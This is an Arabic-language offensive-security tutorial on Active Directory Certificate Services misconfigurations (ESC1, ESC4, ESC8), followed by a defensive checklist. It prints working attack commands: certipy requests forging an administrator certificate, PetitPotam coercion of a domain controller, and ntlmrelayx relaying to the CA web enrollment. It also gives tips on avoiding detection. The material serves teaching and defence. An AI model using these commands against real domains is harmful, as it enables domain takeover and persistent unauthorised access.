AD CS Attacks — من ESC1 لـ ESC15
الشهادات اللي بتفتح الـ Domain على الآخر
هجمات الـ AD CS: ليه الشهادات الرقمية هي أسرع طريق للـ Domain Admin؟
- يا حضرتك، إحنا ليه مهتمين بالشهادات الرقمية في الـ AD؟ مش المفروض ندوّر على باسوردات وهاشات؟
يا مستجد. طب لو معاك شهادة باسم الـ Administrator، إنت محتاج باسورد ليه؟
الشهادات هي "الثغرة المنسية" اللي المهاجمين المحترفين بيعشقوها. لو معاك شهادة باسم الأدمن، إنت مش محتاج تكسر باسورد، ولا محتاج تتخطى MFA، ومعاك تصريح دخول "رسمي" من الـ CA نفسه. ممكن يفضل شغال سنين من غير ما حد يحس بيك.
في الـ AD CS، الموضوع مش ثغرة برمجية في الغالب — هو "كرم زيادة" في الإعدادات. السيستم مضبوط إنه يدي شهادة لأي حد يطلبها، والمهاجم بيدخل يقول له: "لو سمحت، أنا عايز شهادة، واكتب لي فيها إن اسمي Administrator". والسيستم بيقول له: "حاضر، اتفضل".
في 2021، Will Schroeder و Lee Christensen من SpecterOps نشروا الـ paper المشهور "Certified Pre-Owned" واتفجّرت قنبلة في مجتمع الـ red team. كل بيئة AD اتفحصت بعدها لقت فيها على الأقل ESC path واحد. كل بيئة. بدون استثناء.
[!danger] تنبيه الكلام ده للتطبيق في المعامل (Labs) فقط. إصدار شهادة Domain Admin في شركة حقيقية من غير إذن مكتوب = أسرع طريق لرفدك أو سجنك. لو حذرتك من حاجة، فده مش علشان أنا مثالي — ده علشان شفت ناس راحت بيها فعلاً.
ليه الشهادة أخطر من الـ Hash؟
فكر فيها كده:
- الـ Hash؟ ممكن يتغير لو اليوزر غير الباسورد.
- الـ Ticket بتاع Kerberos؟ آخره 10 ساعات.
- الشهادة؟ سنة. 5 سنين. 10 سنين.
ولو معاك الـ Private Key، الموضوع خلص. إنت بقيت شبح جوه الدومين. لما الـ blue team يدوّر krbtgt مرتين ويفتكر إن "اتنظف"، إنت لسة شغّال بشهادتك زي ما إنت.
غلطات الـ junior في الـ ADCS
- يلاقي ESC1 ويتحمس ويطلب شهادة باسم Administrator في أول دقيقة. الـ Defender for Identity بيرفع تنبيه فوري على Certificate Authority issuing for sensitive principal.
- يستخدم الـ certificate في PKINIT مباشرة من الـ Domain Controller. ممنوع. استخدم host تاني.
- ما يعرفش الفرق بين ESC1 و ESC8، فيجرب الاتنين على نفس البيئة لحد ما حاجة تشتغل. الـ SOC بيتفرج عليك زي السينما.
- يفتكر إن certipy find هي بداية ونهاية الموضوع، وما يقراش الـ template نفسه يفهم بيعمل إيه.
أشهر "غلطات الكرم" (Vulnerable Templates)
الموضوع اتصنف لـ 15 نوع من الأخطاء، من ESC1 لحد ESC15. تعالى نشوف أشهرهم بالمنطق:
ESC1: "اكتب الاسم اللي يعجبك!"
ده أشهر نوع. القالب مضبوط إنه يسمح للي بيطلب الشهادة إنه يكتب الـ SAN (Subject Alternative Name) بنفسه.
يعني يوزر عادي خالص (Alice) بتبعت طلب وبتقول: "أنا Alice، بس اكتبوا في الشهادة إني Administrator". والـ CA بيوافق.
ليه؟ علشان حد ضغط على checkbox اسمها "ENROLLEE_SUPPLIES_SUBJECT" في القالب من 6 سنين، ومحدش راجعها بعد كده.
# طلب شهادة باسم الأدمن عن طريق يوزر عادي - ليه: لأن القالب فيه ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU$ certipy req -u alice -p 'Pass1' -ca CORP-CA -template VulnTemplate -upn administrator@corp.local$# المصادقة بالشهادة - ليه: PKINIT بياخد الـ cert ويرجعلك TGT + NT hash$ certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
ESC8: الترحيل (Relay) للـ Web
الـ AD CS بيبقى ليه واجهة ويب عشان الناس تطلب شهادات منها. واجهة HTTP. من غير EPA. في 2026.
المهاجم بيجبر الـ Domain Controller إنه يعمل مصادقة معاه (عن طريق PetitPotam أو Coerce)، وبياخد المصادقة دي يرحلها لواجهة الـ AD CS، ويطلب شهادة باسم الـ DC نفسه.
وبما إن الـ DC ليه صلاحيات كاملة (DCSync)، فالمهاجم بقا معاه مفاتيح الدومين كلها في ثواني.
# جبر الـ DC على المصادقة - ليه: PetitPotam بيستغل MS-EFSRPC عشان يجبر authentication$ PetitPotam.py -d corp.local -u user -p Pass1 ATTACKER DC1$# ترحيل المصادقة لواجهة الـ CA - ليه: --adcs بيخلي ntlmrelayx يطلب cert تلقائي$ ntlmrelayx.py -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController
ESC4: GenericAll على القالب نفسه
لو معاك GenericAll على template، إنت تقدر تعدّل عليه وتحوّله بإيدك من قالب آمن لقالب ضعيف. تضيف ENROLLEE_SUPPLIES_SUBJECT، تحط Client Auth EKU، وخلاص. أنت اخترعت ESC1 بنفسك.
ده اللي بيخلي مراجعة الـ ACLs على templates أهم من مراجعة الـ templates نفسها.
رؤية دفاعية — البواب اللي بيقفل الباب الكبير ويسيب شباك الحمام
في كتير من الجهات عندنا، الـ ADCS متركّب من 2015 ومحدش لمسه. اتحط بإعدادات افتراضية، الناس اللي ركّبته راحت، والإعدادات قاعدة. الواقع ده مش بيتحل بـ tool — بيتحل بقرار إداري.
الأوقع إنك تفهم المنطق:
- ليه بنسيب واجهات الـ HTTP مفتوحة للـ CA؟ اقفلها واستخدم HTTPS مع EPA.
- ليه بنسمح لليوزرز يكتبوا الـ SAN بنفسهم؟ شيل ENROLLEE_SUPPLIES_SUBJECT من القالب فوراً.
- ليه مفيش مراجعة دورية للشهادات اللي بتصدر؟ لازم تراقب 4886 و 4887.
- ليه الـ CA template ليه permissions على Domain Users كله؟ ضيّق الـ enrollment لجروب محدد.
قائمة المهام للمدافع الشاطر
| إنت بتعمل إيه؟ | ليه ده عبث؟ | الحل |
|---|---|---|
| سايب ESC1 مفتوح | بتدي مفاتيح الدومين لأي حد يطلبها | امنع "Subject in Request" في القوالب |
| مش مفعل EPA | بتسمح بهجمات Relay بسهولة | فعل Extended Protection for Authentication |
| مش بتراقب الـ CA | أعمى عن أهم مصدر للصلاحيات | راقب إصدار الشهادات الطويلة المدى |
| Web enrollment شغال HTTP | NTLM relay ESC8 على طبق | اقفل HTTP، فعّل HTTPS + Channel Binding |
الخلاصة الناشفة
الـ ADCS هو الكنز المفقود للمهاجمين. لو ما ركّزتش في تفاصيل القوالب، فإنت سايب باب مفتوح لأي محترف يدخل ويرتاح جوه الدومين وإنت فاكر إن الدنيا تمام.
الـ Domain Admin بيتغير، الباسورد بيتغير، الـ krbtgt بيتدوّر. الشهادة قاعدة 10 سنين.
اكتبها على Post-it جنب الـ keyboard:
اوعى تنسى مراجعة قوالب الـ CA. الباب اللي محدش فاكره هو اللي بيتفتح لأطول وقت.